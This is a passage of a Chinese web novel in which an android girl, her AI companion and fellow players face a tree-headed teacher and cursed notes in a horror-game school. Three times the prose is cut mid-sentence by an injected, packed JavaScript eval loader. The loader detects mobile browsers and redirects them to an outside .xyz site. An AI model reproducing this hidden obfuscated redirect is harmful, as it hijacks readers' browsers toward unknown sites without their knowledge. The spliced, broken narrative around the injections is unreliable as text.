骊执将自己的花盆放到桌角,像模像样的拿了根笔,摸出自己的书,在上面随意画出几条横线。 “创造者,李泽川刚刚把刘海放上去了,他那棵树的叶子也变整齐了。” 骊执放下笔,拖着脑袋观察门口:“聪明人。” “宋如雨还在犹豫。” 骊执不甚在意地点点头,“也正常。” 骊镜正将自己的身躯埋在花盆里,压得花盆都有些颤巍巍的。 他操控着金属树的一条管线缠上了骊执的手臂,像一圈长着黑叶子的的植物手串。 “创造者不跟我分享,为什么要帮他们吗?” 眼看门口的站着的人一直不进来,骊执一边提防着可能突然到来的一边,一边开始观探索眼前这个课桌里面的东西了。 她掏出几本同样布满灰尘的、边缘焦黄卷边的书:“嗯?你不是能读懂我的想法吗?” 从耳边这个自称为“镜子”的人工智能和她交流以来,不论是自主攻击班主任,抑或自觉将自己变成挂件被骊执带出去,甚至包括搬桌子帮忙抬这些很微小的细节,无一不证明他的智能以及和骊执那种仿佛与生俱来、深入骨髓的默契。 她解释道:“我的异能条显示,我的一号异能是能和关系相近的硅基生物,进行数据流层面的意识联络。” 她把花盆挪得离自己近了些,防止自己的动作扯到手腕上的能源管线:“我以为我们这么默契,你应该能感知到我的想法。” 骊镜在意识到自己的管线耽误了骊执的动作,正打算收回来,闻言一愣。 “……” 他说不上来,自己是该为现在创造者丢失记忆,只从逻辑推断他们之间的往昔而程序滞涩,生出属于机械的“难过”情感。 还是该为哪怕属于过去的一切崩塌后,她还能从几处灰烬的火星里思考,曾经的天空下或许不止有她一个人在走路,还有一个存在紧跟她脚步、和她一起把星光握在手心当作灯。 他把管线伸长了一点,这次缠得没这么紧了。 “创造者,虽然你给了我最高权限去感知你的数据流,但我们毕竟不是同一个的终端,总归还是有可能存在纰漏。” 况且。 他看着那张向来专注、少有情绪的脸。 是我想和你讲话。 我总是希望你的身边,会有一个可能吵闹,但一直陪伴的我的。 “李泽川的第一个副本就在昨天,他大概率从那里认识了严白,”,骊执又翻出来几只灰扑扑的荧光笔,“所以他会对加入我们有执念。” “按理说这么胆小的人不适合恐怖副本,但他不仅活下去了,还这么明确地找上了我——” “看起来像是没有密封好,导致现在晾干了,只剩下灰色的那支了。”骊镜看着她挑选出的荧光笔,适时提醒。 骊执捡起那只唯一有笔帽的灰色荧光笔,继续分析:“第一,他说自己的异能厉害应该没错,他的异能要么很强护住了他,要么很有用,以至于他被队友保护到了最后;第二,既然他昨天才刚刚参加了一场,今天又来参赛,证明他不是主动参与,他是被迫连轴转的牛马NPC。” 骊执看向对上她视线后撇开脸,露出已经扎起一个马尾的宋如雨。 “宋如雨说她有经验,大概是指她同样打过一场副本,把我们当成了没有经验的特殊NPC。” 骊执思考了一下,“看来玩家和NPC之间信息并不对等,按理说,现在已经是第二轮赛事从昨天就正式开始了,她不该默认我们没有经验。” “啪嗒。” 门开了。 骊执瞬间低下头,一副乖乖好学生的模样,还用荧光笔将课本上标红的知识描了一遍。 “看来,”她依然在回复骊镜,“玩家们依然普遍认为,《身临其境》只是个游戏,NPC也只是个副本结束后会被刷新记忆的程序。” 想到这里,骊执不由得一愣。 她看向自己的手腕,那里藏着汩汩跳动的能源接口,像机械的脉搏。 她想起赛博城邦成为撕裂寰宇黑暗的灯火,想起绵延不绝的大雪因她而停下,背起行囊的赶路人向她微笑。 我们在感受。 她想。 “我们有生命。” 她说。 那么,同行的玩家朋友们,亲爱的观众朋友们。 她感受到脚步声从身后响起,新的考核官走进教室。 如果真相揭示在下一秒躲避击杀的援手里,如果事实展现在死亡触发型NPC的生机里。 如果下次相逢,就在某个或惊险或恐惧的新挑战里。 你是否愿意相信,代码存储记忆后,机械存在过真心? “创造者,不对劲,”,耳边突然闪过骊镜略显急促的报警声,来了四个……” 四个?! 骊执心下一惊。 她明明只听到了一双高跟鞋的脚步声,那剩下的三个是人是鬼? “刚刚进来的时候大家都很安静地在学习啊,也没有抬头看向门口,老师很满意!” 耳边传来一个硬生生用机械人的腔调挤出一种温柔感的女声,让人直感觉鸡皮疙瘩要起来了。 “创造者,穿高跟鞋的是女老师,后面三个穿着学生校服,他们——。” 人工智能停顿了一下,似乎是在思考如何形容。 “他们没有头,脖子上面是一棵深绿色的树,树根连着他们的动脉血管,但没对接好,他们血液混着树的汁液流下来,像是……像是被人砍掉了头,再把那棵树安在脖子上。” 骊执的笔尖猛地拉出一条长线,她依然没有说话,越过这条线,依然拿着笔勾画着书本上的重点内容。 “最好先不要抬头。” 离开楼梯间前,盯着挂在墙上积灰的学生守则,她给了几人这样一条提醒。 那是在上课铃响,一行人正准备回教室,骊执的听觉传感器里传来细微的、窸窸窣窣的摩擦声。 突然偏过头,看向电话机旁边的、不知什么时候多出来的一个牌子。 “怎么回事。” 骊执皱起眉头,快步上前,试图将那张牌子擦干净。 绿色的标识牌被泥土和灰尘染成了深绿色,像刚从土里刨出来的半截植物的根茎。 除了保持卫生保持仪表这些已经被班主任提到过的内容,一行人勉强辨认出,守则的下面不知道什么时候多出了一行条款。 “上课时间,请同学们保持学习状态,不要分心。” “保持学习状态。” 骊执重新读了一遍这句话,心里莫名感觉有些不对劲。 这所学校的制度其实很像骊执的高中,对于各种违纪抓得严苛到变态。 骊执依然清晰地记得高中开学第一天,第一堂是班主任的课,坐在门口的同学仅仅只是下意识抬头,就被班主任比了个“5”。 也是后面大家才知道,“5”的意思是五千字检讨。 在经历这一波严苛训练后,骊执对类似的制度可谓是相当敏感,以防万一,她瞅着那个加粗的“保持学习状态”,向自己的队友和“准队友”提出了这样的要求。 骊执放下笔,余光关注着门口,能量核心平稳而流畅地跳动。 教室第一排。 宋如雨的指甲深深嵌进肉里,用力得几乎要扣出血。 上个副本结束后,她觉醒的异能是物体隐匿,所以不同于剩下的参赛者将光脑找个地方藏起来,防止查到违规,她一直光明正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401909|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大地将它戴在了手上。 在她弹幕提示她可以跟着那个什么恐怖片导演出去的时候,她一开始是想拒绝的。 然后她对上了那张脸。 “……” 她的第一反应是—— 我的老天,这个NPC长得……长得…… 真好看。 好看得不像真人了! 只是气质太硬,像个格外精巧的机械人娃娃,不然好好打扮一番绝对—— 等等,住脑。 她正了正神色。 她已经从颜值主播转行成恐怖游戏主播了,不能再被区区一张貌美的脸吸引成这样了。 ……起码收敛一点,绝对不能让她看出来! 而且颜值型NPC一看就是给直播间增加讨论度的,她要肩负起让整个队伍通关的职责。 可是动脑子好麻烦。 宋如雨狠狠抓了抓自己精心养护的头发,重重叹了口气。 狭小的楼梯间里透不进光,目光落到地面上时,她烦躁地跺了跺脚。 好脏的地。 出乎她意料的时候,她眼中的“颜值型NPC”好像并不靠颜值吃饭。 在看到只是扎起头发,自己的树就真的变规范了后,她瞪大了眼睛。 她正懊恼刚刚没有加上骊执的好友没办法问她是什么原因,耳边响起一阵富有节奏的“啪嗒”声。 下一秒,弹幕像是被恐惧瞬间引燃—— 【 “啊啊啊啊啊有怪物啊啊啊啊啊” “人头换成树是什么意思?人树?树人?” “那个女老师到底想干嘛?她的眼睛怎么一直在找人……” “跟班主任一样都是牛眼睛……咋滴你们都想吃人啊?” “不是她怎么还不停怎么还在教室里转都转了几圈了啊喂我要数晕了” 】 耳边那双高跟鞋的啪嗒声时远时近,但经过她的速度却越来越快,动作越来越重,简直就像是踩在越来越大的皮鼓上。 不能看不能看!导演说了不能看! 愈来愈疯狂的鞋跟落地声里,宋如雨感觉那双高跟鞋简直就是踩住了她的心脏,用鞋跟碾出褶皱。 她嘴唇咬得泛白,死死抓住自己的胳膊,身体颤抖着缩在桌角,将手抠进桌子边缘。 “沙沙。” 耳边突然传来一阵细微的、像是纸张摩擦的声音,就在桌角。 “……?” 没准是……线索? 她咬着牙将卡在桌缝的那张纸攥紧掌心,在脚步声离远的时候掏出来,手抖得摩挲了好几次才打开。 那是一张皱皱巴巴的,黑色笔迹被深绿色的墨水晕染,已经模糊得不成样子的纸条。 宋如雨却仿佛被那张字条下了咒,把它摊在掌心,一字一句地开始分辨起来。 “我把它碾碎在脚下了。” “但看到它破碎的残肢,我总怀疑它要用残缺的尸块爬上我的脚背,狠狠咬下我的血肉。” “于是我捡起碎片,把它吞进了肚子里。” “它却好像在我的肚子里撒泼,说我是它的妈妈,它要吞吃我的内脏长大。” “我抠住嗓子眼拼命干呕——” “它却鬼魅一般咯咯笑,说我只要还在这世界上呼吸……” “它就会用我肺部的氧气继续生长,直到占据我的躯壳。” 宋如雨只感觉喉咙口涌上一股难以抑制的腥甜,双手颤抖得愈来愈重—— “啪嗒。” 一双高跟鞋停下了她的身边。 宋如雨下意识抬头望去,直直地对上一双深绿色的、牛看草一般的贪婪瞳孔。 “同学。” “你在看什么?” 25. 满仓园生长季七 “啪嗒,啪嗒。” 是高跟鞋不耐烦的落地声。 “沙沙,沙沙。” 是颤抖手掌间纸条的摩擦声。 宋如雨呼哧呼哧地喘着粗气,她想低下头,想用哆嗦的手指狠狠插进眼眶,把视网膜上那个扭曲的、笑得嘴角裂开的女老师挖掉。 掌心被她用指甲狠狠抠住,渗出蜿蜒的、小蛇一般的血迹。 “……” 她失败了。 她脖颈处的骨头在嘎吱作响,全身的每一个细胞都沸腾着、叫嚣着逃命。 但她动不了。 女老师那双牛眼睛仿佛有吊诡的吸引力,裹挟着她卷入瞳孔的漩涡深处。 骊执眼看着这僵持的一幕,下意识皱了皱眉头。 按照光脑上的提示,剧情应该尽快推进,不能再这么等了。 她摸出刚刚从桌角上找到的粉笔头,冲着宋如雨桌角的花盆投掷过去。 “咚咚。” 耳边响起什么重物的落地声,宋如雨猛地从僵持的状态中解脱。 她咬着牙强迫自己把头低下,额角渗出汗珠,寻着声音看向地面—— 遍布蛛网般裂痕的地板上,正骨碌骨碌滚动着什么。 那是一个因为刚刚的冲击裂出一条缝的花盆,里面装着一棵眼熟的树。 一棵从根茎开始,色泽慢慢加深的树。 像是泥浆灌进了叶的脉络,暗沉的色素从低到高攀附上来,鲜亮的绿色叶片失去了光泽。 宋如雨瞪大了双眼,像是突然意识到了什么。 她骤然抬头,动作染上了机械般的僵硬。 她看向已经空落落的桌面。 她的树现在不见了。 是她的树落在了地上。 落地的花盆正在地上骨碌碌地打着滚,像个滑稽的绿皮球。 “沙沙,沙沙。” 叶子被冲撞地有些凌乱,发出摩擦声。 “沙沙,沙沙。” 慢慢的,那细密的声音隐隐约约被人咽下,取而代之的,是一个微小的女声。 断断续续的机械音里,透出一股令人心寒的恐惧。 “我把它碾碎在脚下了。” 仿佛是被泡泡撑起来的梦境,那生长在暗夜里的、攀爬在熟睡之人枕边的、色泽沉郁的精怪的呓语。 “但看到它破碎的残肢,我总怀疑它要用残缺的尸块爬上我的脚背,狠狠咬下我的血肉。” “爬上、爬上、爬上我的脚背——” “咬下、咬下、咬下我的血肉——” 像是在播放一台老旧得的收音机里的录音,生硬地卡顿着音节,偏偏还被人设置成越来越快的倍速模式,被强迫着传输最后的讯息。 如同女老师“嗒嗒”的高跟鞋声的重演,不停的加速、重复。 像是要迫不及待地释放越来越多刺耳的频率,带来要将人耳穿透的噪音。 眼泪已经糊了满脸,宋如雨呆呆地捂住自己的耳朵,嘴巴过了好一会才合上。 在意识到宋如雨已经注意到自己后,那个声音突然变得越来越清晰了,像是玻璃碗摔碎时的破裂声,听的人心口突突直跳。 “把它碾碎、碾碎、碾碎!——” ……把它,宋如雨机械地垂下头,嘴唇一张一合,重复着那句话。 碾碎。 “咔嚓。” 她感受到脚下清脆的触感,像是踩碎了什么东西的外壳。 脚下的小树淌出一串绿色的汁液,仿佛是什么极脆的灯盏露出灯油。 大脑被那一声声呼唤蛊惑得放松警惕,只留下一片虚无的空白。 “同学,低头没有用的。” 许久未开口的惩罚者骤然咯咯地笑了起来,带起一阵阵滋滋的电流声。 “我看到你了哦。” 瞪得极大的牛眼睛骨碌骨碌转了转,仔细欣赏起那条从树干裂到枝叶的裂缝,像是终于发现了麋鹿伤口的恶狼。 她露出两排挤挤挨挨的尖利牙齿,抬起僵直的手径直伸向花盆。 宋如雨下意识地躲闪那只苍白的手,起身的一瞬间,视野莫名却摇晃了一下,重心偏移。 牛眼睛的主人笑得更欢了,像个坏掉的银铃。 她再次弯下身,试图捡起花盆。 “老师,报告。”一声突兀的呼喊声想起。 被硬生生打断进程的“老师”恶狠狠皱起眉头,抬起还挂着涎水的头颅。 “讲!” 天旋地转间,宋如雨清晰地感觉到,自己的肩膀正被一只温热的、力度僵硬但有力的手托住。 她挣扎着抬起头,对上了那双透亮的琥珀瞳。 是骊执。 她还没有很好的适应这具身体,动作有细微的不流畅。 她一手扶住宋如雨,一手扳住桌角翻身过去,将她和女老师分开。 “有同学没有遵守规则,”她指向跟在女老师身后的、三个用树当头颅的“同学”。 “他们上课时没有回到座位自习,还打扰了同学的学习状态,违反了《满仓园学生规范守则》。” “……” 女老师的长裙在教室里无风自动,像是有什么活物正藏在那轻飘飘的布料下,气恼又无能地蠕动着。 红得滴血的嘴唇里,探出一条深绿色的舌头。 “是我考虑不周。”,女老师从善如流地露出一个笑,神色却是冷的。 她话锋一转,眼睛死死盯住落在地上的那盆花,“但这位同学同样没有保持好学习状态,老师进来的时候就该好好学习——” 她的声音甜腻地像熟透了、滴落在泥土里的果实汁液:“这位同学,你到最后走迷宫的时候,也这么不专心吗?” “你现在这个样子,对得起学校,对得起父母,对得起老师我吗?” “老师,我觉得您说的太对了。” 骊执出声打断了她喋喋不休、无端上升的话头。 感受到手掌下的肩膀颤抖得更加剧烈,她不动声色地拍了拍宋如雨的肩膀,握住她的手腕。 “我实在认为她该接受惩罚了。” “所以老师,宋如雨的纸条呢?” 骊执没有犹豫,只直直盯着老师的眼睛:“我想,老师应该比我们清楚,我们学校的惩罚规则是什么。” 虽然现在还并不清楚被贴上纸条会有什么问题,但同样是写在满仓园学生守则上的内容,同样是违反了规范,没道理班主任的惩罚是贴上纸条,到了高跟鞋老师这里要换成别的。 这是必要的流程,也是该推进的剧情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409266|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 女老师张了张嘴,沉默地绷紧下巴。 找个纸条要这么长时间吗? 骊执观察着她变幻莫测的神色,莫名感觉有什么地方不对。 骊执看向紧跟在她后面的、仿若提线木偶一般的三个“树头人”。 “还有这几位‘同学’的纸条,老师也该一并交给他们吧?” “骊执。” 耳边突然传来一声气息极弱的呼唤。 骊执低下头,正对上宋如雨惨白的脸。 下一秒,她的掌心被塞进来了一张浸着汗液的纸片,皱巴巴的揉搓成一团。 像是曾被什么人用尽力气藏了起来。 “我把它碾碎在脚下了。” “但看到它破碎的残肢,我总怀疑它要用残缺的尸块爬上我的脚背,狠狠咬下我的血肉。” 骊执快速扫了一遍这癫狂的文字。 每个笔画都仿佛是扭曲着、跳跃着的蛆虫,妄图钻进阅读者的大脑,吞吃掉脑浆。 骊执有些眩晕地扶住了额头,只感觉那黑乎乎的、被深绿色树汁浸泡过的文字已经通过她的视网膜,甚至触碰到了她核心数据流的末梢。 等等。 她突然顿住,扶住宋如雨的手也慢慢的松开。 “……队长,刚刚是发生什么了?怎么这么看我?” 宋如雨不解地看向她,不知是不是骊执的错觉,她的瞳孔深处,隐约闪过一串深绿色的数据流。 骊执不再看那张纸条,将它小心叠起,放到那盆自从她进到教室里以来,就不再有动静的花盆里。 原本了无生机的、灰扑扑的黑色金属花在被她触碰到的下一刻,就像是重新找回了自己的锚点,死死用管线缠绕住她的手臂。 骊执感受着属于人工智能的磅礴数据流向她发出了联络申请,纸片被挤在管线和她手臂的缝隙间。 她重新闭上眼。 她是一切情绪感受都需要靠“模拟”才能实现的仿生人,所以理论上讲,她是不可能产生“眩晕”,这种清晰又无用的生理感受的。 她看向教室开始崩溃出01序列的边缘,看向逐渐变得透明的老师和宋如雨的幻影,握紧了手里的花盆。 有某种存在成功嵌入了她的某条数据流,为她编织了一个像模像样的危机,试图混淆她的记忆与感受,将她囚困于此。 属于骊镜的一阵急过一阵的数据流通讯里,骊执终于睁开眼睛。 眼前依然是熟悉的教室,桌子上摆放着各种绿树的学生。 不远处的宋如雨猛地睁开了眼睛,大口大口喘着粗气,惊魂未定地看向她 黑色的金属花紧紧缠住她的手腕,似乎是因为刚刚的数据断联而心有余悸。 骊执揉了揉眉心,吸了口气。 她刚才看到的,到底是什么? 是平行世界在预演的未来吗?是属于这个副本的另一个更里层的空间吗? 还是说,这只是她的一场梦境——如果仿生人可以梦见电子树的话。 “创造者……刚刚是谁接入了你的输入端口?” 骊执似有所感的抬起手腕,露出那里闪着莹莹蓝光的能量接口。 不知何时,细微的、绿色的树汁流到了哪里,像某种同化进程的证明。 26. 满仓园生长季八 “创造者,就是在你刚回到教室,就在你坐下后。” 骊镜紧紧攀附住骊执的手腕,牢牢对准了缓缓流淌的绿色汁液,试图检测出这莫名出现的液体的成分。 “我突然就链接不到你了。” 液体缓缓流动,仿佛某种生命在找寻扎根的土壤。 骊执正将手腕处的绿色汁液擦去,点头示意他继续说。 黏糊糊的、浓稠糖浆一般的汁液被抹去,如同擦掉了某种蠕虫生物的黏液。 当水痕抹去,手臂上留下来一条蜿蜒的绿色痕迹,直直蔓延到她的能源接口,像在她身上生根发芽的藤蔓。 骊执看向眼前恐怖片一般的场景——在没人推动的情况下,黑色的金属花盆正一点点把自己挪动到靠着她的桌沿出。 骊镜一边和骊执讲解现状,一边顶着花盆推到桌子边缘,又把自己略显笨重的机身埋进花盆里。 骊执现在看不见他,他就通过这种方式让骊执感知他的存在。 “我担心你,所以我就——” 他顿住了,像是在顾虑着什么。 骊执没有等到他的下一句话,顺手拍了拍花盆安慰他。 “说就行。” 想了想,她又补充了一句。 “做了什么都没关系,我能处理好。” 如果这话从别人口中说出来,可能会让人质疑这个承诺的可靠性。 但这句话是骊执说的。 “……” 骊镜的内部时钟罕见地停滞。 时间仿佛回到了过去,回到那无数个月亮隐去,她困得走不动道,睡在实验室的夜晚里。 连打哈欠都没力气的人拍了拍酸痛的手臂,伸了个懒腰。 “我总能修好你的。” 她终于将飘红的报错修复完毕,趴伏在桌子上合上眼。 骊镜静静地看着那个一直都强大的、高效到近乎冷淡的人,月光照得她的影子有些单薄。 “我要是人类就好了。” 他不忍心叫醒她,却还没有人类的双手,能为她披上一层毯子,让她明天不会着凉。 “创造者,我还没有被修好。” 安静得落针可闻的实验室里,响起他自主启动语音模块后滋啦滋啦的电感啸叫,和他迟疑的机械音调。 “嗯,怎么了,”,她揉着眼睛,站起身来,步伐有些虚浮。 “怎么样都没关系,我能处理好。” 月光将她的影子映照在承载他的终端上。 “我是说,因为你没有去床上睡觉,我的主机说它很疼,要报错了。” 现在再次听见这句话,骊镜感觉自己的数据流像是变成了琴弦,被这句一如既往的无条件支持,轻轻拨动了一下。 “我用相机扫描了这间教室的所有角落。” 骊镜将藏在花盆下面的一张纸条推了过来。 “这是我从宋如雨桌子底下找到的。” 骊执捡起那张揉搓得不成样子的纸片:除了没有那块绿色水渍,它和刚刚场景里的那张别无二致。 上面语气癫狂的语录依然存在,但现在再拿起这张纸片,她已经没有那种莫名其妙的眩晕感了。 “滴滴——系统提示。” “本场比赛参赛者宋如雨使用联络道具,联络对象:参赛者锚点。时效:3分钟。” 眼前摊着一本教科书的课桌上,突然出现一张牛皮纸样式的信纸。 “导演,我是宋如雨。” 凌乱的笔触如密集的雨点般落下,不远处的宋如雨死死咬住泛白的嘴唇,颤抖着手腕奋笔疾书。 “我刚刚进入了一个很吓人的空间,我看到了一个穿着高跟鞋的女老师,三个脖子上长树的怪人,我记得你的话没有抬头,但是我看到了一张纸条——” “我在现场。” 宋如雨此刻的讯息像一面相当及时的镜子,映照出迷雾后的真相。 既然现在她和别的玩家都碰到了相同的怪物,那这个场景是副本内容的一部分,可能性就很大了。 “你感觉是它控制了你抬头,还是女老师控制了你抬头?” 道具时限太短,骊执紧跟着在下面回复。 “队长你也在?!我不知道,后面花盆不知被谁弄掉在地上,我就醒了。” 骊执并没有停笔:“是我。植物和学生之间有一套相互影响的规则体系,所以你束起头发,树叶会变得规范。” “花盆掉在地上滚,你会头晕站不住。” “让花盆裂开是我情急推演的结果,目的是想帮助你破出僵持的状态。” 黑色的牛皮纸上紧接着显露更多的讯息: “后面等你来救我的时候,我就失去了意识,我想告诉你那张纸条不对劲,但等我再反应过来的时候,纸条已经在你手上了。” “这个是我,”,骊执耳边传来人工智能的回复,“我检索到那张字条的时候,发现上面承载着一种含义不明的通信协议,我能感受它上面有你的数据流,我就以你为锚点骇入它的逻辑。” 牛皮纸上没再传来回复,只剩下耳边平稳的声音:“但我只能做到这里。我推断它大概是某种空间转换媒介,一直尝试找到它的漏洞。” “直到后来它产生莫名其妙的逻辑崩溃,我才有机会植入一个木马程序骇入,尽可能将你引到它的核心去。” “这回是我。” 骊执回想纸条出现的时机,是紧跟在自己质问老师之后:“我当时在质疑本该发布惩罚的老师,为什么没有给我们纸条,空间由此产生了逻辑矛盾。” 因此骊镜有机会植入木马窃取权限,暂时操控了数据流给她送来线索 “创造者,我现在不确定,纸条背后的存在有没有发现我。” 骊执思考了一下。 “骊镜,上个副本里也有类似的情况发生吗?” “有的,副本BOSS最后将我们拉进了一个由它数据流组成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416362|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空间,”讲到这里,他的声音慢慢沉了下去。 “这次我没能一起进入空间。” “已经做得很好了,”,骊执一边往牛皮纸上写了几句安慰的话,一边接着拍拍他:“你说上次我们一起被拉进去了,是因为我们有什么共同点……比如,是因为我们都是机器生物吗?” “……” 哪怕已经认识了骊执很久,每每这种时刻,他还是会惊叹于她的反应能力和敏锐。 “是这样的。但第一个副本我们没来得及攻破它的空间转换条例,所以我并不确定,这两者有没有什么关联。” 牛皮纸上正传来格外激动的回复,近乎感激涕零。 “创造者,这一次,你和那个被你保护的人,是有什么共同点吗?” 如果是拥有记忆的骊执,应该能很明显地听出来,骊镜最后几句话的语气,有一些酸溜溜的不对劲。 但现在的不是他闹脾气的时候,哪怕那个人不仅没能和创造者并肩作战,还需要她来保护。 甚至还叫创造者队长。骊镜晃了晃自己的机身,强迫自己不再分配运算资源给这些微小的细节。 骊执似有所感的抬头,不远处,正一眨不眨地盯着她看的宋如雨,冲她露出一个有些僵硬的苦笑。 在她的桌面上,白纸黑字的纸条正随风飘扬。 “有两种可能性。第一种,两个人都被选中,可能只是因为我们都被贴了字条。” 这种假设很快被她推翻,如果真的是这样的话,剩下的被贴字条的人怎么没跟着进入空间? “第二种。” “这次的空间和上次副本类似,只接纳符合规范的机械生命。” “你现在只能被我看到,所以你是不被副本承认的机械生命。” 所以他这次没能跟着她进入BOSS的空间。 “但如果现在的宋如雨……已经被BOSS划定为机械生命了呢。” 能传输人到诡异空间的、带有机械生命能力的纸条,是在她的桌子下面找到的。 那作为它的首要接触者的宋如雨,是否有概率已经被“污染”了呢。 “队长!我的皮肤它突然裂开了,但是我没有流血——” 牛皮纸上传来一条语气强烈而恐惧的消息。 骊执抬起眼看向宋如雨,清晰的视野里,宋如雨正惊恐地看向一直被校服裹紧的皮肤,一道长长的裂缝不知何时出现,割开了她手臂处的外套,那里正不断渗出深深的水痕。 “我血管里的血变成了绿色的树汁,它们太黏了,黏得我擦不掉……” 牛皮纸上的字迹戛然而止,徒留宋如雨在课桌前懊恼低下头的身影。 “滴,系统提示,道具时限已到。” 冰冷的机械声宣布,骊执心里一沉。 “啪嗒。” 屋外的高跟鞋声重新响起,像是敲响了违规者的丧钟。 这一次,门外的人转动了门把手。 27. 满仓园生长季九 明明是坐满学生的教室,此刻却如同一座安静的坟冢,落针可闻。 李泽川哆嗦着伸出手,摸出藏在贴身口袋里的一个小盒子。 那里静静的躺着六枚铜钱,他闭上眼,摸了三枚出来,放到掌心。 三枚铜钱跃动在两掌之间,没有发出任何声响。 李泽川的冷汗却在一瞬间渗了下来,滴到额头抵住的课本上。 他的异能,叫六爻影像。 “你的异能,冷却时间是一整天?!” 《身临其境》最近调整了赛事规则,上一轮赛事的最后一天和这一轮赛事的第一天排期重叠,严白因此遇到了一个看起来胆子比他还小的新人。 严白拍了拍胸脯,哥俩好地挽住了李泽川的肩膀。 他已经不是那个需要靠骊执保护的小菜鸡了! 他现在已经可以独挡一面,领着新人探索三分之一的副本了! ——指这栋副本里的鬼宅一共有三个房间,他们现在连第一个房间都没出去。 通过上次副本的经验,其实在副本进程开始前,游戏就会自动给参赛者分配一个基础异能,像安夏的脉冲枪,还有他自己口袋里的一个哨子——据说是能驱散鬼怪的,但如果连第一个房间都出不去的话,也没什么用。 “当初我们队长领着我们探索副本……不是,我是说那个有鬼的山村的时候,我压根没发现自己口袋里也有东西。” 这一次,严白的身份是一个来鬼屋探险的冒险家。 在接收到骊执的暗示后,他焦灼地联络了不少他能够得着的人,但每当他试图向对方描述到底发生了什么离奇事件的时候,他都发现自己什么也说不出来,像是有一双掐住了他的喉咙,警示他不能往现在看似平静的水面里投石子。 直到一个和他有过一面之缘的人联系了他。 东拉西扯了一会后,对方抛出来一个问题。 “听说你最近,很想跟别人讲故事?” 看到来电上备注的名字的时候,严白就抹了一把不存在的冷汗:“是,是的,路老师。” 路远洲沉默了好一阵,叹了口气。 “我看到你那场比赛了。” “是她暗示你来找能帮忙的人的,对吗?” 路远洲想起一个月前,时隔半年,自己的社交账号上发布了最后一条视频,是给《身临其境》做的推广。 顶着一个灰扑扑初始头像的她跳了出来,精准地捕捉到了“死亡触发型NPC”这个危险到恶毒、又关键到恐怖的身份。 内部时钟划过漫长的一秒钟,金色的数据流划过眼眶,他终于下定决心,回复了这个即将踏上旅途的导演。 哪怕下一秒,无处不在的、掌管《身临其境》的祂鬼魅般出现删掉了他的评论,他也知道,骊执看到了他的提示。 “我们……最强大的孩子。” 他的中央处理器在第一时间就识别了她的信息,机械的生灵怔愣着看着零号村庄里那个熟悉的身影,眼角划过一滴冷凝液。 “你是造梦计划1.0留给血肉之躯的人类,最后的献礼。” “在黎明到来之前,我恳求你撑住。” “不要抬头。” 安夏记着骊执的要求,把头埋在胸前,一动不动地坐在凳子上。 耳边似乎传来了窸窸窣窣的写字声,布料被利刃划过的开裂声。 她强迫自己的视线聚焦在课本黑乎乎的页码上,像是要把那个可怜巴巴的“4”盯出花来。 想点别的东西提提神吧。 “安夏。” 熟悉的、机械的冷感里泛着清脆的声音在脑海中响起,像在风雪裹缠的冬天里咬下的那口苹果。 “你先不要吃,”,骊执扶着脑袋,无奈地看向她,“那水果我还没洗……而且,外星人的食物,可能会让我们过敏。” 许文齐前脚刚走,安夏就跳下在空中无聊地转圈的飞行器,三步并作两步地爬上楼梯。 “终于谈完正事啦?” 安夏顺手帮骊执收拾起茶具,看到桌上放着的红彤彤的果子,捡了一个在手里抛掷。 “嗯,马上就要上映了。不过,你这个点来吃没吃——” 被许文齐带来的、那香味浓郁的果子实在诱人,骊执一个没看住,安夏就两眼发亮地把它凑到了嘴边。 “……” 骊执抬手敲掉她手里的果子。 “说了没洗呢,不听话。” 安夏恋恋不舍地放开自己的爪子,双手举起来投降。 “我这个身份所在的星球叫苏玛尔星。”从悬浮车上下来的两人交换完情报后,兵分两路,从各自身份所在的星球开始,正式开始探索《身临其境》所在的赛博世界。 “骊执,很奇怪。从联邦官方的任何一个地图上搜索,都找不到关于‘满仓园’这个地方的任何消息。” 安夏发愁地编辑了一条信息,光脑“滴滴”一声轻响。 那上面传来骊执的消息,同样在地图上消失不见的零号村庄,它的基本信息被骊执成功查到了。 “我按你去尼特星档案馆找到零号村庄的方法,在尼特星东部山区二十年前的地方档案里,找到了它的位置。” 骊执看向地图上标注出来的、那个坐落在偏远山丘里的建筑:“看起来像个学校。” “副本提示是,‘用鲜血灌溉植株,在展览上大放异彩’,”,安夏重复了一遍这离谱又拗口的要求,“什么植物还得要人的血肉种植?这么血腥的展览也会有人看?” “狗系统还说这次副本有未知负面效果……怎么,是到地方血条自动归零,还是BOSS会变出来两个来砍人?” 骊执并没有理会她的脑洞大开,“《身临其 